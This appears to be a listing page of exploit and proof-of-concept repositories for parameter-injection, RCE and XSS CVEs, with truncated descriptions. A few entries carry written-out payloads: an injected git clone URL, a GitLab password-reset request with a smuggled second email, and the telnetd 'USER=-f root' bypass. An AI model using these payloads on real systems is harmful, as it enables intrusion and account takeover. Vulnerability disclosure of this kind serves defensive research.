FOXCMS-CVE-2025-29306-POC

FOXCMS Parameter Injection RCE – CVE-2025-29306 This repository contains a Python-based PoC for a Remote Code Execution RCE vulnerability affecting FOXCMS v1.2, a Chinese open-source content management system. CVE-ID: CVE-2025-29306 Affects: FOXCMS v1.2 Type: Service Parameter Injection → Code...

CVE-2021-37833

CVE 2021-37833 Hotel Druid 3.0.2 Reflected Cross Site Scripting Vulnerability A reflected Cross Site Scripting vulnerability exists in multiple pages in version 3.0.2 of the Hotel Druid application that allows for arbitrary execution of JavaScript commands. https://vulners.com/cve/CVE-2021-37833...

CVE-2018-20580

CVE-2018-20580 A proof of concept for ReadyAPI 2.5.0/2.6.0 Remote Code Execution with interactions. Intro In December 2018 I found a new vulnerability in the ReadyAPI. It allows an attacker to execute a remote code on the local machine putting in danger the ReadyAPI users including developers,...

CVE-2016-10033

CVE-2016-10033 – PHPMailer Remote Code Execution 📌 Description This repository contains a proof-of-concept PoC exploit for CVE-2016-10033 , a vulnerability in PHPMailer versions prior to 5.2.18. The issue occurs when the $additionalparameters argument of PHP's built-in mail function is improperly...

cve-2020-5260

cve-2020-5260 Heroku にデプロイできる cve-2020-5260 用の HTTP PoC エンドポイント クレジット情報 Google Project Zero の Felix Wilhelm https://bugs.chromium.org/p/project-zero/issues/detail?id=2021 脆弱性を発動する root@kitploit: git clone 'https://YourHerokuAppNameAndNotMine.herokuapp.com?%0ahost=github.com%0aprotocol=ssh' PoC を...

cve-2022-31749

CVE-2022-31749 by 1vere$k Simple PoC-checker for CVE-2022-31749 by 1vere$k. It exploits a parameter injection vulnerability in the WatchGuard SSH interface. The vulnerability allows a low privileged user to exfiltrate arbitrary system files to an attacker controlled FTP server. Fortunately, there...

cve-2024-4577-lab

CVE-2024-4577 — PHP-CGI Argument Injection → RCE Docker Lab / CTF A self-contained, from-scratch Docker lab that demonstrates the real argument-injection → Remote Code Execution primitive behind CVE-2024-4577. Exploit it over http://localhost:8080, pop a shell, and read the flag from inside the...

CVE-2026-24061

GNU InetUtils telnetd Argument Injection Authentication Bypass CVE-2026-24061 In January 2026, the GNU telnetd service from GNU InetUtils was found to be vulnerable to authentication-bypass byKyu Neushwaistein aka Carlos Cortes Alvarez. Tracked as CVE-2026-24061, this flaw allows an attacker to...

CVE-2023-7028

GitLab CVE-2023-7028 POC root@kitploit: [email protected]&[email protected] 科研机构base成都-招聘网络安全研究人员（私）...

CVE-2026-24061

GNU InetUtils telnetd 认证绕过漏洞（通过参数注入）- CVE-2026-24061 📚 简介 最近在 GNU InetUtils telnetd 中发现的一个参数注入漏洞，允许攻击者通过将 USER 环境变量设置为“-f root”来绕过认证。因此，远程未认证攻击者可以访问运行易受攻击的 telnetd 服务的系统，并将权限提升至 root。如果成功利用，该漏洞可能使攻击者能够访问敏感信息、更改系统设置并执行任意命令，最终可能导致系统完全被攻陷。 CVSS 详情| CNA MITRE ---|--- 基础评分| 9.8 攻击向量|...

CVE-2025-29306

CVE-2025-29306 FOXCMS Content Management System Service Parameter Injection Vulnerability 1. Vulnerability Overview FoxCMS is a free, commercially available and open-source website management system built on PHP+MySQL architecture. FOXCMS Content Management System has a service parameter injectio...

-CVE-2023-43340-Evolution-Reflected-XSS---Installation-Admin-Options

Evolution CMS Reflected XSS v3.2.3 Author: Sergio Description: Multiple Cross-site scripting XSS reflected vulnerabilities in the evolution v.3.2.3 installation process Admin options allows a local attacker to execute arbitrary web scripts via a crafted payload injected into the cmsadmin,...

CVE-2020-6308-PoC

CVE-2020-6308 SAP POC SAP BusinessObjects Business Intelligence Platform Web Services versions - 410, 420, 430, allows an unauthenticated attacker to inject arbitrary values as CMS parameters to perform lookups on the internal network which is otherwise not accessible externally. Follow me on...

CVE-2026-77404 RabbitMQ amqp091-go: Connection Configuration Overwrite via Unsanitized TLS Path Parameter Injection

RabbitMQ amqp091-go is a Go AMQP 0.9.1 client. Prior to 1.13.0, URI.String in uri.go concatenates CertFile, KeyFile, CACertFile, and ServerName values directly into an AMQPS query string instead of encoding them as URL query parameters with url.Values. If an application accepts a TLS asset path...

CVE-2026-77404

RabbitMQ amqp091-go is a Go AMQP 0.9.1 client library. Prior to 1.13.0 , the URI.String method in uri.go concatenates CertFile, KeyFile, CACertFile, and ServerName values directly into the AMQPS query string without URL-encoding them. If an application accepts a TLS asset path containing ampersan...

hook

Hook Hook exploits a parameter injection vulnerability in the WatchGuard SSH interface. The vulnerability allows a low privileged user to exfiltrate arbitrary system files to an attacker controlled FTP server. Fortunately, there is a builtin low privileged user named status that this script...

CVE-2024-50340

CVE-2024-50340 POC Requirements The registerargcargv option must be enabled in the PHP configuration file php.ini. This setting loads command-line arguments and query params into $SERVER'argv'. https://www.php.net/manual/en/ini.core.phpini.register-argc-argv Explanation of Vulnerable Code This...

php-cgi-Injector

PHP-CGI Injector 🚀 CVE-2024-4577 & CVE-2024-8926 Exploit Tool Automated testing tool for PHP-CGI parameter injection vulnerabilities , supporting CVE-2024-4577 and CVE-2024-8926 , with capabilities for command execution, file upload, download , etc. 📌 Introduction This tool can be used to test...

vBulletin-5.x-0day-pre-auth-RCE-exploit

vBulletin-5.x-0day-pre-auth-RCE-exploit 影响版本：vBulletin 5.0.05.5.4 poc如下: !/usr/bin/python vBulletin 5.x 0day pre-auth RCE exploit This should work on all versions from 5.0.0 till 5.5.4 Google Dorks: - site:.vbulletin.net - "Powered by vBulletin Version 5.5.4" import requests import sys if...

CVE-2026-82191

Joomla Extension - j2commerce.com - Unescaped request data reflected into PayPal notify redirect in J2Store 1.0.0-3.3.2, 4.0.0-4.0.22, 4.1.0-4.1.7 - A crafted link to the paypal notify endpoint, if followed by a victim's browser or an automated system that fetches it, causes the resulting redirec...